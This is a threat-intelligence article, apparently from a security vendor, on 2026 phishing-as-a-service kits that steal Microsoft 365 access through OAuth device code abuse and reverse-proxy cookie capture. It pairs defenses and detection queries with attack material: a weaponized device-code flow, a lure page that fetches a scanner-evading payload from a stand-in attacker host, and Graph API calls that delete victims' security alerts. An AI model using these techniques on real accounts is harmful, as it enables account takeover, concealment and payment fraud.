Phishing-as-a-Service 2.0: The Kits That Bypass MFA Without a Fake Login Page

1,380% increase in device code phishing attacks from H2 2025 to H1 2026

59% of successfully phished accounts had MFA enabled at time of compromise

340+ organizations hit by EvilTokens by March 2026, weeks after first appearance

$250 for a 30-day Kali365 subscription; MFA bypass included

The phishing-as-a-service kit is no longer a script a criminal downloads and self-hosts. In 2026, it is a subscription product with a dashboard, customer support, templated AI lures, real-time token capture, and a post-compromise automation suite. The attacker does not need to understand OAuth. They need a Telegram account and $250.

Two platforms that emerged in early 2026 illustrate precisely how far this commercialization has advanced. EvilTokens appeared in mid-February 2026 and, within six weeks, had compromised more than 340 organizations across seven countries. Kali365 followed in April 2026, drew an FBI Public Service Announcement within six weeks of launch, and then performed a theatrical exit by announcing its closure seconds after reposting that same FBI alert on its own Telegram channel.

What both platforms share, and what distinguishes the current generation of phishing-as-a-service kits from their predecessors, is that neither requires the attacker to present a convincing fake login page. The victim authenticates on a real Microsoft domain, completing their real MFA challenge, and still loses their account. This is not a social engineering improvement. It is a technical architecture change that renders most deployed identity security controls ineffective against a $250 subscription tool.

The Two Technical Models Behind Phishing-as-a-Service Kits

Modern phishing-as-a-service kits converge on two primary attack architectures, sometimes combined within the same platform. Understanding the technical distinction between them is prerequisite to evaluating any detection or mitigation strategy.

Model 1: Adversary-in-the-Middle (AiTM) with Reverse Proxy

The AiTM model places a reverse proxy between the victim’s browser and the legitimate service. The proxy transparently forwards every request and response in both directions, creating the appearance of a normal login flow for the victim while capturing all authentication material in transit.

AiTM session cookie capture flow // AiTM Reverse Proxy Architecture (Evilginx2 / ginX variant)   VICTIM BROWSER  -->  REVERSE PROXY (attacker-controlled)  -->  REAL SERVICE                 <--  (relays responses with injected JS) <--   // What the proxy captures: Step 1: Victim enters username/password -> proxy relays to real service Step 2: Real service issues MFA challenge -> proxy relays to victim Step 3: Victim completes MFA (TOTP, push, SMS) -> proxy relays to real service Step 4: Real service issues authenticated session cookie -> CAPTURED by proxy Step 5: Proxy forwards cookie to victim browser (victim sees successful login)   // Attacker receives: // - Session cookie for fully authenticated, MFA-passed session // - Valid for the cookie's lifetime (hours to days) // - Password NOT required for subsequent access (cookie replay)   // Detection gap: // From Microsoft/Google perspective: legitimate login, correct IP region (proxy in same geo) // No MFA challenge failure: MFA was completed correctly by the victim

Kali365 implements the AiTM model through a custom Evilginx2 fork it branded internally as ‘ginX’. The reverse proxy sits between the victim and Microsoft’s real authentication endpoints, capturing session cookies that provide inbox access without any further credential or MFA interaction.

Model 2: OAuth Device Code Flow Abuse

The device code model takes a fundamentally different approach. Rather than faking or proxying a login page, it weaponizes a legitimate Microsoft authentication mechanism: the OAuth 2.0 Device Authorization Grant, originally designed for input-constrained devices such as smart televisions and printers that cannot easily accept a password.

OAuth Device Code abuse: technical flow // OAuth Device Code Flow: Legitimate vs. Weaponized   // LEGITIMATE use case (e.g. signing into Office 365 on a Smart TV): 1. TV calls: POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode    Body: {client_id, scope} 2. Microsoft responds: {device_code, user_code, verification_uri, expires_in: 900} 3. TV displays: 'Go to microsoft.com/devicelogin and enter: ABCD-EFGH' 4. User goes to microsoft.com/devicelogin, enters code, completes MFA normally 5. Microsoft issues {access_token, refresh_token} to the waiting TV client   // WEAPONIZED flow (EvilTokens / Kali365 device code module): 1. Attacker calls Microsoft device code endpoint (any valid client_id works)    -> Receives: {device_code (for polling), user_code (for victim), expires_in: 900} 2. Attacker sends victim a lure (DocuSign, voicemail, Adobe Sign, calendar invite)    Lure instructs victim: 'Enter this code: WXYZ-1234 at microsoft.com/devicelogin' 3. Victim navigates to real microsoft.com/devicelogin (no fake page)    Victim enters code, completes MFA as expected 4. Microsoft's backend polls the device_code -> issues access + refresh tokens TO ATTACKER   // Access token: valid 60-90 minutes (Outlook, OneDrive, Teams, SharePoint) // Refresh token: valid up to 90 DAYS with daily replay // No password captured. No MFA intercepted. No technical mechanism subverted. // The victim completed a genuine, correct authentication flow.   // Password reset does NOT revoke existing OAuth tokens. // MFA change does NOT revoke existing OAuth tokens. // Only explicit token revocation (admin action) terminates access.

Why This Bypasses MFA Without Touching It

Standard MFA protects the credential presentation step: the attacker cannot authenticate without the second factor. The device code flow eliminates the credential presentation step entirely. The victim provides the MFA challenge completion directly to Microsoft, and Microsoft delivers the resulting token to whoever initiated the device authorization request, regardless of where the user_code instruction originated. From Microsoft’s perspective, the session is legitimate. The user authenticated correctly. The MFA challenge was completed by the actual user on a real Microsoft domain. The IP address, device fingerprint, and authentication method are all consistent with normal user behavior. No anomaly to flag, no challenge to trigger, no protection to apply.

EvilTokens: Full-Stack BEC-as-a-Service

EvilTokens first appeared in underground communities in mid-February 2026 and was operational at scale within days. Unlike basic phishing kits that stop at credential collection, EvilTokens is a complete post-compromise operations platform that automates the entire attack lifecycle from token capture through business email compromise execution.

Component	Technical Detail
Pricing	$1,500 base + $500 maintenance fee. Sold via Telegram.
Attack model	OAuth Device Code flow abuse; no fake login page presented
Infrastructure	Multi-tenant SaaS on Railway PaaS platform; each operator receives isolated environment with unique credentials
Token refresh	Stolen OAuth refresh tokens replayed twice daily via Railway; persistent access up to 90 days per compromised account
Lure templates (as of March 2026)	Adobe Acrobat Sign, Adobe Acrobat Viewer, DocuSign, email quarantine, SharePoint access request, calendar invite, voicemail notification, OneDrive shared document, eFax, password expiry warning
AI component	AI-generated lure text customized to target’s industry and role; reduces lure construction from hours to seconds
BEC module	MailVault: branded Outlook-clone webmail interface for operating from victim accounts
AI intelligence	Meta LLaMA model integration: auto-extracts wire transfer details, account numbers, routing numbers, and invoice threads from victim inboxes; reduces BEC reconnaissance from hours to seconds
Keyword alerting	Telegram bot alerts when emails matching attacker-defined keywords (wire, invoice, payment, transfer) arrive in compromised inbox
Scale (March 2026)	340+ confirmed victim organizations across North America, South America, Europe, Middle East, Asia, Oceania
Primary target sectors	Finance, HR, logistics, and sales staff at organizations using Microsoft 365

EvilTokens Page Construction: The Hidden Decryption Model

EvilTokens lure pages do not contain visible phishing content in their source HTML. The page is designed to be opaque to automated scanners, static analysis tools, and email security link inspection systems that attempt to classify the page at delivery time.

EvilTokens phishing page: AES-GCM decryption in browser <!-- EvilTokens phishing page source structure (documented March 2026) --> <html>   <head>     <title>Document Access Required</title>     <!-- No visible content. No login form. No credential fields. -->   </head>   <body>     <div id='container'></div>  <!-- Empty container -->     <script>       // Asynchronously fetches base64-encoded payload from attacker server       fetch('https://[attacker-c2]/payload?id=[campaign-token]')         .then(r => r.text())         .then(async (b64) => {           // Decrypts payload in browser using Web Crypto API           // Encryption: AES-GCM with campaign-specific key           const key = await crypto.subtle.importKey('raw', hexToBuffer(CAMPAIGN_KEY), 'AES-GCM', false, ['decrypt']);           const decrypted = await crypto.subtle.decrypt({name:'AES-GCM', iv: hexToBuffer(IV)}, key, b64ToBuffer(b64));           // Injects decrypted HTML (the actual lure) into the DOM           document.getElementById('container').innerHTML = new TextDecoder().decode(decrypted);           // Decrypted content: instructions + Microsoft device code to enter         });     </script>   </body> </html>   // At scan time: empty div. No malicious content detectable. // At render time in victim browser: full lure page with device code appears. // Scanning solutions that don't execute JavaScript in a headless browser see nothing.

Post-Compromise Automation: LLaMA in the Inbox

The most consequential technical advancement in EvilTokens is not the token capture mechanism. It is what the platform does with access after capture. The MailVault BEC client, included with every subscription, connects to the victim’s Office 365 inbox using the stolen OAuth token and runs an AI triage pipeline built on Meta’s open-weight LLaMA model.

The LLaMA integration performs automated extraction of high-value BEC intelligence from the victim’s inbox: pending wire transfers, outstanding invoices, vendor payment schedules, and active financial correspondence. Reconnaissance that previously required an operator to manually review an inbox for hours is reduced to a structured report generated in seconds. The Telegram keyword alert system then notifies the operator when new matching emails arrive, creating a persistent intelligence feed from the compromised account.

The BEC Acceleration Problem

Traditional BEC required a skilled operator with domain knowledge, an understanding of organizational payment flows, and the patience to read through inboxes looking for actionable intelligence. EvilTokens replaces all three requirements with a $2,000 subscription and a language model. The skill floor for conducting a sophisticated, context-aware BEC attack from a compromised executive inbox is now near zero.

Kali365: A Dual-Method Platform With a Theatrical Exit

Kali365 emerged with branded Telegram activity as early as February 15, 2026, approximately six weeks before the FBI’s stated first observation date of April 2026. It is a more mature platform than EvilTokens in terms of feature breadth, offering both AiTM session cookie theft and device code phishing within the same subscription, alongside a full suite of post-compromise tools.

Feature	Technical Detail
Pricing	$250 for a 30-day subscription; distributed via Telegram
Aliases	Kali365, Octopi365, Freedom365 (multiple panel identities confirmed)
AiTM module	Custom Evilginx2 fork (‘ginX’): reverse-proxy session cookie capture
Device code module	Microsoft device code flow abuse; identical mechanism to EvilTokens
Landing page templates	12 templates targeting Microsoft Outlook, Microsoft Live, Okta SSO, Xerox DocuShare, GMX, and others
Target expansion (June 2026)	Expanded from Microsoft-only to AWS, Okta, Xerox DocuShare, Russian MAX Messenger (80M users)
Token browser	Desktop application with UA ‘kali365-live/1.0.0’; one-click inbox takeover from captured tokens
Ghost mode	Alert suppression: automatically dismisses Microsoft security notification emails to prevent victim awareness
Contact harvester	Extracts contact lists from compromised accounts for campaign amplification
BEC monitoring	Built-in keyword monitoring engine for high-value email triage
AI lure generation	AI-generated phishing emails customized to target and campaign context
Infrastructure scale	126 malicious hosts identified in active use during May 2026 (independent security research)
C2 infrastructure	Tencent Cloud IP addresses in AS132203; multiple campaigns running concurrently
Operational lifespan	February 15, 2026 through May 21, 2026 (official closure announcement)

The Ghost Mode Detail: Engineering Invisibility

The most operationally significant feature of Kali365 is not its token capture capability but its post-access persistence engineering. When a Microsoft account is accessed from an unusual location or device, Microsoft typically sends a security notification email to the account owner. Ghost mode detects these notifications and automatically archives or deletes them before the victim sees them.

This is not a technical bypass of Microsoft’s security notification system. It is an operational workaround that exploits the attacker’s read access to the victim’s inbox to remove the evidence of compromise from the victim’s view. Combined with automatic inbox rule creation to divert future security notifications, Kali365 effectively extends the window of undetected access from the hours a victim might take to notice a suspicious email to potentially weeks or months.

Kali365 ghost mode and persistence (Disclaimer: reconstructed from documented incident behaviors for research purposes) // Kali365 post-compromise persistence sequence (documented behavior):   // Step 1: Token captured via device code or AiTM // Step 2: Token replayed to access Microsoft Graph API   // Step 3: Ghost mode - suppress security notifications GET /v1.0/me/messages?$filter=from/emailAddress/address eq 'account-security-noreply@accountprotection.microsoft.com' DELETE /v1.0/me/messages/{message-id}  // for each security notification   // Step 4: Inbox rule creation for future notification suppression POST /v1.0/me/mailFolders/inbox/messageRules {   'displayName': 'Outlook Rule',   'sequence': 1,   'isEnabled': true,   'conditions': {     'senderContains': ['account-security-noreply@accountprotection.microsoft.com',                        'microsoft-noreply@microsoft.com']   },   'actions': { 'moveToFolder': 'DeletedItems', 'stopProcessingRules': true } }   // Step 5: Secondary device registration (documented in some Kali365 campaigns) // Registers attacker-controlled device to victim account to obtain long-lived token // Token survives password resets because device registration persists

What ‘AI-Powered’ Actually Means in a PhaaS Kit

Marketing language around AI in phishing toolkits covers a wide spectrum. Understanding what the AI component actually does in EvilTokens and Kali365 matters for assessing the genuine capability increase versus the rhetorical claim.

AI Capability	What It Replaces	Actual Impact
AI-generated lure text	Manual copywriting per campaign; required social engineering skill and knowledge of target’s organizational context	Lure quality now scales with campaign volume; attacker can run 100 simultaneous campaigns with individually contextualized emails at the same operational cost as one
LLaMA inbox triage (EvilTokens)	Manual operator review of compromised inbox (hours); required domain knowledge to identify high-value financial threads	BEC reconnaissance compressed to seconds; operator receives structured summary of actionable financial intelligence; no domain expertise required
Anti-analysis evasion (AES-GCM page decryption)	Static phishing page visible to scanners at delivery	Page contains no detectable malicious content at scan time; detonation in headless browser required for classification; most SEGs cannot do this at scale
Polymorphic page behavior	Fixed landing page presented to all visitors	Page adapts content based on visitor’s browser, IP geolocation, and referral header; sandbox analysis sees benign content; target sees attack content
Dynamic code generation	Static device codes generated offline	Each victim request generates a fresh device code; codes expire after 15 minutes; limits replay in sandboxes that delay analysis

The net effect of these AI components is not a qualitative improvement in any single attack step. It is the removal of the human bottleneck from each step. A single operator can now manage an attack campaign at a scale that previously required a team, because the steps that required human judgment (writing lures, reading inboxes, adapting pages to context) are now automated.

How PhaaS Commercialization Multiplied Phishing Volume

The 1,380% increase in device code phishing attacks between the second half of 2025 and the first half of 2026 is not attributable to a new technical vulnerability. The OAuth device code flow has existed since 2019. The mechanism has been documented in threat research for years. What changed in early 2026 was packaging: EvilTokens and Kali365 made this mechanism available to operators with no technical background for a subscription cost lower than a monthly software license.

The Economic Model of PhaaS 2.0

Tycoon 2FA, the dominant AiTM platform of 2025, reached over 500,000 target organizations per month at its peak and generated more than 30 million phishing emails in a single month. A 10-day subscription cost $120. The platform continued operating until a joint law enforcement action disrupted its infrastructure in March 2026.

The economics are straightforward: the operators of a PhaaS platform earn recurring subscription revenue regardless of whether individual campaigns succeed. Each affiliate who purchases a subscription provides a known return to the operator. The affiliate only needs one successful BEC fraud to recoup their $250 subscription cost many times over. The risk is asymmetric in the attacker’s favor at every level of the supply chain. 90% of high-volume phishing campaigns in 2025 used PhaaS kits. The number of active PhaaS platforms doubled during 2025.

The Takedown Limitation: Why Disruptions Have Diminishing Returns

The March 2026 coordinated action targeting Tycoon 2FA seized 330 domains and temporarily reduced detection volume. Kali365 announced its own closure in May 2026. Neither disruption removed the capability from the market.

EvilTokens was already operational during the Tycoon 2FA disruption. Kali365’s closure was followed within weeks by the identification of Octopi365 and Freedom365, panels running identical code under different names. The source code for Evilginx2, which underpins the AiTM module in multiple PhaaS platforms, is publicly available. The device code abuse technique requires no proprietary tooling. A determined affiliate who loses access to one platform can be operational on a successor platform within days.

Law enforcement action against PhaaS infrastructure produces market fragmentation rather than market elimination. The number of active PhaaS operators measured in 2026 has increased, not decreased, despite multiple disruptions.

Detection: What Works and What Does Not

Controls That Do Not Stop PhaaS 2.0

Several security controls that effectively reduce traditional phishing risk are ineffective against the current PhaaS generation, not because they are poorly implemented but because the attack architecture was specifically designed to route around them.

Control	Why It Fails Against PhaaS 2.0
MFA (TOTP, SMS, push notifications)	The device code flow completes MFA correctly; AiTM captures the session cookie after MFA passes. Neither model requires intercepting or bypassing the second factor.
Password reset after compromise	OAuth tokens issued before the password reset remain valid. Access continues until tokens are explicitly revoked.
Secure email gateway link inspection	EvilTokens pages contain no malicious content at delivery time (AES-GCM encrypted payload fetched at runtime). Links pass to real Microsoft domains (device code model). Static inspection classifies both as benign.
User training to identify fake login pages	There is no fake login page in the device code model. Victim authenticates on genuine microsoft.com. All visual cues are legitimate.
Domain reputation blocking	Kali365’s AiTM proxies legitimate Microsoft domains; device code model uses microsoft.com/devicelogin directly. Reputation-based blocking cannot trigger on the login domain.

Controls That Do Work

• Disable device code authentication flow in Conditional Access policies for all accounts and applications that do not require it for legitimate headless device use. This blocks the device code attack vector entirely for in-scope accounts.
• Conditional Access policy: block legacy authentication protocols and require compliant or hybrid-joined device for all authentication. Device code phishing generates sign-in events that fail compliant device checks.
• Phishing-resistant MFA (FIDO2 hardware keys, passkeys): cryptographically verifies the actual domain of the authentication endpoint. FIDO2 credentials cannot be used on a proxy domain. This is the only MFA type that stops AiTM attacks at the authentication layer.
• Monitor Microsoft Entra ID sign-in logs for device code authentication events from unusual IP ranges or to unusual client applications. A spike in device code events from cloud infrastructure IP ranges (AWS, Tencent Cloud, Railway PaaS) is a high-fidelity indicator.
• Audit inbox rules for newly created rules that move, delete, or mark as read emails from Microsoft security notification senders. Kali365’s ghost mode creates these rules within seconds of initial access.
• Monitor OAuth application consents for newly granted permissions, particularly for applications not in the organizational approved list that received mail.read, mail.readwrite, or files.readwrite scopes.
• Token revocation on suspicious activity: configure risky sign-in policies to revoke refresh tokens when device code authentication occurs from anomalous locations, rather than simply requiring step-up MFA (which the device code flow already completed legitimately).

Detection queries: device code phishing and ghost mode activity // Detection query: device code authentication events from cloud infrastructure // Microsoft Entra ID / Sentinel KQL   SigninLogs | where AuthenticationProtocol == 'deviceCode' | where IPAddress has_any (     '43.156.',   // Tencent Cloud AS132203 (Kali365 documented infrastructure)     '185.199.',  // Railway PaaS (EvilTokens token replay infrastructure)     '34.', '35.' // AWS/GCP ranges - validate against org's legitimate cloud use   ) | where ResultType == 0  // successful authentication only | summarize count() by UserPrincipalName, IPAddress, AppDisplayName, bin(TimeGenerated, 1h) | where count_ > 1  // multiple successful device code auths from same IP = campaign activity   // Detection query: Kali365 ghost mode - inbox rule creation for security senders // Microsoft Defender for Office 365 / Sentinel   CloudAppEvents | where ActionType == 'New-InboxRule' | extend RuleParams = parse_json(RawEventData) | where RuleParams.Conditions contains 'accountprotection.microsoft.com'     or RuleParams.Conditions contains 'microsoft-noreply@microsoft.com' | where RuleParams.Actions contains 'DeletedItems' or RuleParams.Actions contains 'Delete' | project TimeGenerated, AccountDisplayName, AccountUpn, RuleParams   // Disclaimer: The detection queries provided above are developed based on documented Kali365 and EvilTokens infrastructure indicators and behavioral patterns observed as of August 2026. These queries are provided for research and threat hunting purposes only. IP ranges, authentication protocol values, and rule conditions must be validated against your organization's legitimate device code authentication usage before deployment as production alerts. Organizations using Microsoft Intune, Azure Virtual Desktop, or other headless device workflows may generate false positives on device code authentication queries. Brandefense makes no warranty regarding the completeness or accuracy of these queries, and accepts no liability for actions taken based on their output. All queries should be tested in a non-production environment and tuned by a qualified security engineer familiar with your tenant's baseline behavior.

MITRE ATT&CK Mapping

Tactic	Technique	How it appears here
Resource Development	T1583.001 Acquire Infrastructure: Domains	Single use lookalike domains rotated within 48 hours
Resource Development	T1608.005 Stage Capabilities: Link Target	Hosted kit panel and multi stage redirect chain
Initial Access	T1566.002 Phishing: Spearphishing Link	AI generated per victim lures, no repeated string
Credential Access	T1557 Adversary-in-the-Middle	Reverse proxy relaying the genuine login flow
Credential Access	T1528 Steal Application Access Token	OAuth access and refresh token capture
Defense Evasion	T1656 Impersonation	Browser-in-the-Browser rendered address bar
Defense Evasion	T1497 Virtualization/Sandbox Evasion	User Agent fingerprinting and CAPTCHA gating
Persistence	T1098.005 Account Manipulation: Device Registration	Attacker device authorised through the grant
Collection	T1114.002 Email Collection: Remote Email Collection	Automated inbox analysis for wire transfer threads

How Brandefense Addresses PhaaS 2.0 Threats

Capability	Coverage
Dark web PhaaS monitoring	Tracks active PhaaS platforms in underground markets, monitoring for new kit releases, affiliate recruitment posts, and infrastructure registration that precedes campaigns targeting customer sectors
Phishing infrastructure detection	Identifies domains, IP ranges, and SSL certificates associated with active PhaaS campaigns and AiTM proxy infrastructure before campaigns reach victim inboxes
Credential and token exposure monitoring	Detects organizational email addresses and OAuth tokens appearing in dark web markets, infostealer logs, and PhaaS operator databases before account compromise is confirmed
Threat actor targeting intelligence	Surfaces PhaaS affiliate activity and campaign planning in threat actor channels that names specific organizations, sectors, or technology platforms as targets
Digital risk protection for executive identities	Monitors for executive personal and corporate identifiers appearing in phishing kit templates, credential markets, and BEC operator communications

RELATED READING

Device-Code Phishing Jumped 1,380%: The MFA Bypass Method Nobody’s Training Employees On:  https://brandefense.io/blog/device-code-phishing-mfa-bypass/  :  The second branch in full technical depth, including the six step flow and the ninety day refresh token problem.

MFA Doesn’t Protect You, Cookies Give You Away: The Rise of Session Hijacking:  https://brandefense.io/blog/mfa-doesnt-protect-you-cookies-give-you-away-the-rise-of-session-hijacking/  :  What happens to the session token after the reverse proxy has taken it, and why MFA strength stops mattering at that point.

Lookalike Domains: How a Single Character Difference Becomes a Brand’s Worst Nightmare:  https://brandefense.io/blog/lookalike-domains-brand-impersonation/  :  The domain layer these kits run on, and the Certificate Transparency and passive DNS detection this article recommends.

How Spear Phishing Campaigns Target C-Suite Executives: Tactics, Tools, and Defense:  https://brandefense.io/blog/spear-phishing-c-suite-executives/  :  Where the LLM generated lure click through figure comes from, and how the same tooling is aimed at named executives.